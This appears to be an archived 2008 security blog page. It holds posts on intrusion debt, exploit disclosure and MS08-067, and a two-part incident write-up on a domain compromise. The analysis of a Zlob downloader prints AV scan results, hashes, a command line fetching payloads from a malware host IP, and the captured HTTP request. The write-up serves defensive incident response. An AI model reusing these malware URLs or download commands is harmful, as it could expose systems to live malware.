Showing posts with label Incident Response. Show all posts
Showing posts with label Incident Response. Show all posts

Saturday, November 8, 2008

Intrusion Debt and Security ROI and Security Malpractice

Richard Bejtlich has a new post linked to an older post and mentions the idea of intrusion debt as the counter argument to security ROI. I agree with RB that there is no ROI on security (he has lots of posts arguing this and they are good reads), doing things safely is your ROI, operating your network without compromise and data loss (or minimizing it) is your ROI, protecting your IP is your ROI. From the slides on the new post is the question of what if we allowed people who build bridges to operate at the same standards as those who build networks. Scary, right?

"Imagine that you defer that cost by not detecting and responding to the intrusion. Perhaps the intruder is stealthy. Perhaps you detect the attack but cannot respond for a variety of reasons. The longer the intrusion remains active, I would argue, the more debt one builds."

"How many CEOs/CIOs/CTOs/CISOs/CSOs will look at the digital wreckage of an incident and wonder "why didn't we see this happening?"

The key to that is catching it in the first place and being able to adequately respond or have policies in place once you do see it. In 2008, I didn't think we would still be there, but we are and its sad.

I think business and government entities are lucky about how much they are allowed to shield (lie) to its customers and employees about network compromises. If a network has been owned for several months and the appropriate action wasn't taken (so at some point the compromise was discovered) should that be grounds for fines or lawsuits? You know that any domain will have some type of PII, intellectual property, or something worth protecting floating around. What are people to do with network/security malpractice? Is it feasible to hold those CxO people accountable at that level? What are common people supposed to do when there is gross negligence with their information? Current laws, regulation, and fines obviously aren't working or a sufficient deterrent and I'm not sure asking a technology immature legislative system to come up with more unenforceable laws is a good solution either.

Thoughts on what to do?

Tuesday, October 28, 2008

Maltego Malware Domain List Transforms

Not much hype about the release but the Paterva crew has introduced some really useful transforms for Maltego that utilize Malware Domains List's database.

"We've created a transform application server for integration with the MalwareDomainList.com DB. If you want to see how it works you can download the Community Edition of Maltego (if you don't have it already) from http://www.paterva.com/maltego/.

Once you have it running you should go to Tools -> Manage transforms and click on Discover Transforms.
You can now add a new discovery server with name "MALTAS" and URL http://ctas.paterva.com/MALTAS.xml"

http://www.malwaredomainlist.com/forums/index.php?topic=1938.0

Screenshot!

Pretty handy when all you have is a possible bad IP and want to see if they are already on the "bad boy" list. Being able to see the URL serving up the malware is handy too so you can grab it for analysis.

Thoughts on why we need exploit code and hacker tools

Dean made a comment in the SILC channel about a student who:

"student thinks its terrible to release tools, exploits, etc...he says it makes it too easy for people to attack America"

Its not the first time I've heard that argument, but after a few weeks in the new gig I have newfound understanding for the need to provide "absolute proof" of exploitation or the ability to exploit something.

So while on one hand I understand that exploit code and tools allows bad guys to do what they do on the other hand you have people that require you as their security person to show them with absolute certainty something happened or something could happen. Otherwise there is no "proof." And if I need to show proof to get a problem fixed, mitigated or policy changed or put in place its nice to have the ability to do that.

Thoughts?

Saturday, October 25, 2008

Multiple Thoughts on Multiple Security Issues

I'm too tired to put enough effort into several blog posts even though I really want to but next week is already looking painful so I'm going tho throw several different thoughts into this post.

First Thought: The CISSP CBK aint so bad...

After spending the last week explaining what I consider core security ideals to people that should know better, I found myself really feeling that a senior security person should understand those core ideals as a minimum level of competency. To be a keyboard guy, my opinion stands that CISSP not a measure of their ability, but I would expect a "hands-on" guy to know that material as well.

The latest TaoSecurity post mentions NIST 800-27 Engineering Principles for Information Technology Security (A Baseline for Achieving Security) maybe I'll start recommending that.

Second Thought: What should a CxO know?

I'm new to the whole CxO thing, but shouldn't your CIO/CTO/CISO jobs understand the things from the first thought? I am thinking yes, they should have more than a PMP to make smart security decisions but I'd like some feedback on that. Like I said I'm new to that kind of environment. Alot of the people on the SBN that hold those positions seem to understand those concepts.

Third Thought: How do you fix a "porous" network?

By porous I mean more than one security hole at any one time and usually a LARGE security hole. Back to the first thought people seem to think if you can fix one problem the rest magically put themselves on hold while you fix that one and you can "catch up"...not! I am also new to real Incident Handling and Response (in the past I've been the guy getting to cause all the trouble) but I'm finding more and more holes and issues as we try to mitigate and fix the first issue. How do you make people understand that the problems dont stop coming in if you have poor network security or poor network design.

Fourth Thought: Initial feeling on SIMs

My initial take on Security Information Management devices are that they are great concepts. I'm starting to play with Cisco MARS and thus far I am impressed on what it SHOULD be able to do. I'll let you know later how well it does.

Fifth Thought: Another unauthenticated full remote MS exploit...SCORE!

I love bugs that are on the level of MS03-026, MS04-011, and MS06-040. Mass pwnage on pentests is awesome. I hope this new MS08-067 ends up being that bad (and the msf module comes out at some point). We need a new DCOM or LSASS exploit. I love it when we get proof that network security isnt dead.

Last Thought: Really more of a "what would you do/recommend"

In our fictional example you found pwdump on your Domain Controller (not put there by one of your admins) and the registry keys point heavily that its been run successfully and results have downloaded. What do you or recommend to the customer?

The book/draconian answer is wipe everything and start over. In people's experience is that a real option for a real network without the ability for mass downtime? Is a mass password reset considered enough of a mitigation?

Would appreciate input from the people out there on our fictional scenario.

Sunday, October 19, 2008

From Virus Alert to Pwnage Part 2

Some analysis on 2.exe.

2.exe : Not detected by Sandbox (Signature: NO_VIRUS)


[ DetectionInfo ]
* Sandbox name: NO_MALWARE
* Signature name: NO_VIRUS
* Compressed: YES
* TLS hooks: NO
* Executable type: Application
* Executable file structure: OK
* Filetype: PE_I386

[ General information ]
* Decompressing UPX3.
* File length: 2560 bytes.
* MD5 hash: c6e1de2f6ecae93c09c6bae78d8edcbf.

[ Changes to registry ]
* Creates key "HKCU\Software\Microsoft\Sound".



AhnLab-V3 2008.10.15.0 2008.10.14 -
AntiVir 7.8.1.34 2008.10.14 -
Authentium 5.1.0.4 2008.10.14 -
Avast 4.8.1248.0 2008.10.15 -
AVG 8.0.0.161 2008.10.15 -
BitDefender 7.2 2008.10.15 Trojan.Zlob.1.Gen
CAT-QuickHeal 9.50 2008.10.14 -
ClamAV 0.93.1 2008.10.15 -
DrWeb 4.44.0.09170 2008.10.15 -
eSafe 7.0.17.0 2008.10.12 Suspicious File
eTrust-Vet 31.6.6148 2008.10.14 -
Ewido 4.0 2008.10.14 -
F-Prot 4.4.4.56 2008.10.14 -
F-Secure 8.0.14332.0 2008.10.15
Trojan-Downloader.Win32.Zlob.ajl
Fortinet 3.113.0.0 2008.10.14 -
GData 19 2008.10.15 Trojan.Zlob.1.Gen
Ikarus T3.1.1.34.0 2008.10.15 -
K7AntiVirus 7.10.493 2008.10.14 -
Kaspersky 7.0.0.125 2008.10.15
Trojan-Downloader.Win32.Zlob.ajl
McAfee 5405 2008.10.14 -
Microsoft 1.4005 2008.10.15 -
NOD32 3522 2008.10.14 -
Norman 5.80.02 2008.10.14 -
Panda 9.0.0.4 2008.10.14 Suspicious file
PCTools 4.4.2.0 2008.10.14 -
Prevx1 V2 2008.10.15 Malicious Software
Rising 20.66.12.00 2008.10.14 -
SecureWeb-Gateway 6.7.6 2008.10.15 -
Sophos 4.34.0 2008.10.15 Sus/Behav-1005
Sunbelt 3.1.1722.1 2008.10.14 -
Symantec 10 2008.10.15 Downloader
TheHacker 6.3.1.0.112 2008.10.15 -
TrendMicro 8.700.0.1004 2008.10.14 PAK_Generic.001
VBA32 3.12.8.6 2008.10.14 -
ViRobot 2008.10.14.1419 2008.10.14 -
VirusBuster 4.5.11.0 2008.10.14 -
Additional information
File size: 2560 bytes
MD5...: c6e1de2f6ecae93c09c6bae78d8edcbf
SHA1..: 1b1d7916206583a57e54fe82ebe05a8fb55b25d5
SHA256: 68350cc81af2e867eecea64f1cc83e34ff8c19ad22b8c077529380cdadeaa658
SHA512: 512fd40e91bd47c1e6f1a0e202457cc5fe31ed90a2555f9af8a54796663b3c7a
308729d606a409ef8484edf9bf4b4a1310db8cba61b941b380f6d2ee09e3c694
PEiD..: -
TrID..: File type identification
UPX compressed Win32 Executable (39.5%)
Win32 EXE Yoda's Crypter (34.3%)
Win32 Executable Generic (11.0%)
Win32 Dynamic Link Library (generic) (9.8%)
Generic Win/DOS Executable (2.5%)
PEInfo: PE Structure information

( base data )
entrypointaddress.: 0x4041c0
timedatestamp.....: 0x48eeb35b (Fri Oct 10 01:43:55 2008)
machinetype.......: 0x14c (I386)

( 3 sections )
name viradd virsiz rawdsiz ntrpy md5
UPX0 0x1000 0x3000 0x0 0.00 d41d8cd98f00b204e9800998ecf8427e
UPX1 0x4000 0x1000 0x400 6.22 ad30fe5c04339024e6b3344e72484898
UPX2 0x5000 0x1000 0x200 2.06 ebb1b5a9cd4ce06c69ef5ac4d3d7b72b

( 2 imports )
KERNEL32.DLL: LoadLibraryA, GetProcAddress, VirtualProtect, VirtualAlloc,
VirtualFree, ExitProcess
ADVAPI32.dll: RegCloseKey

( 0 exports )
Prevx info:
http://info.prevx.com/aboutprogramtext.asp?PX5=54E3AAE0008B14250A3900BD90B69
A00B79BCD14
packers (Kaspersky): PE_Patch.UPX, UPX
packers (F-Prot): UPX


Filename c:\2.exe
Filesize 2560 bytes
MD5 c6e1de2f6ecae93c09c6bae78d8edcbf
DLL-Handling
Loaded DLLs
C:\WINDOWS\system32\ntdll.dll
C:\WINDOWS\system32\kernel32.dll
C:\WINDOWS\system32\ADVAPI32.dll
C:\WINDOWS\system32\RPCRT4.dll
C:\WINDOWS\system32\Secur32.dll
C:\WINDOWS\system32\user32.dll
C:\WINDOWS\system32\GDI32.dll
C:\WINDOWS\system32\oleaut32.dll
C:\WINDOWS\system32\msvcrt.dll
C:\WINDOWS\system32\ole32.dll
C:\WINDOWS\system32\IMM32.DLL
C:\WINDOWS\system32\pstorec.dll
C:\WINDOWS\system32\ATL.DLL
Registry
Process Management Creates Process - Filename () CommandLine:
(C:\Program Files\Internet Explorer\iexplore.exe

http://94.75.221.68/stuff/border8.gif) As User: () Creation Flags: ()

--------

Found a norton report based on the IP

https://safeweb.norton.com/report/show?url=94.75.221.68&x=0&y=0

Severity: High

3 instances found. Here is a sample:

Downloader
Location: http://94.75.221.68/stuff/border10.gif
Downloader
Location: http://94.75.221.68/stuff/border8.gif
Downloader
Location: http://94.75.221.68/stuff/border9.gif

----------
**show tcpstream from running the 2.exe in a VM

GET /stuff/border9.gif HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)
Host: 94.75.221.68
Connection: Keep-Alive

HTTP/1.1 404 Not Found
Server: nginx/0.5.20
Date: Wed, 15 Oct 2008 20:27:23 GMT
Content-Type: text/html
Content-Length: 529
Connection: close


html
head title 404 Not Found /title /head
body bgcolor="white"
center h1 404 Not Found /h1 /center
hr center nginx/0.5.20 /center
/body
/html
!-- The padding to disable MSIE's friendly error page --
!-- The padding to disable MSIE's friendly error page --
!-- The padding to disable MSIE's friendly error page --
!-- The padding to disable MSIE's friendly error page --
!-- The padding to disable MSIE's friendly error page --
!-- The padding to disable MSIE's friendly error page --

**I removed the brackets because blogspot kept rendering the html :-(

Saturday, October 18, 2008

From Virus Alert to Pwnage Part 1

The first week of your new job is normally for finding your desk, getting email set up, finding the best place to grab coffee and snacks. We'll not for me!

What started Tuesday morning as simple virus outbreak on one of the networks we monitor after some initial IR turned into full domain pwnage :-(

The initial virus alert looked something like this:

Alert: Virus Found
Computer:
Date:
Time: 1:34:59 AM
Severity: Critical
Source: Symantec AntiVirus Corporate Edition
File Path:C:\WINDOWS\system32\2.exe
User:
Virus Name:Downloader

A quick question for anyone reading is what kind of privileges are required to write to the system32 folder? The answer should be you first clue to the scope of the problem.

We jumped in on one of the boxes that came up with the virus alert to see what we could find.

A quick review of the task manager listed 6 or 7 iexplore.exe process running by a user that wasn't logged into the host. A quick net user "thatuser" /domain let us know that the user was a member of the domain admins group...oops. We did do a quick call to confirm that the real user hadn't logged into that box.

The iexplore.exe process was connected to an IP that resolved to Amsterdam pulling down a "banner8.gif and banner9.gif". Thus far we haven't located any copies of banner8.gif and banner9.gif on the network and the IP isn't serving them up right now (404). We've asked for FW logs to see if any hosts actually got a 200 for for the file(s).

I'll post what (most dean) came up with for analysis of 2.exe in a separate post.

Lastly, they had a Cisco CSA agent running (in test mode) on one of the hosts that was infected in test mode. The logs of the agent had an alert of psexec executing 2.exe with the domain admins user creds...oops. The good news (for the CSA deployment) was that it would have been blocked had CSA been in enforcement mode. Bad news was that it wasn't.

We also had the domain profile of the unfortunate user show up on all the infected boxes. I'm guessing its a result of the psexec command, but if anyone has any insight on that I'd appreciate a comment.

Any comments on the situation. At this point, what would you do?

More to follow...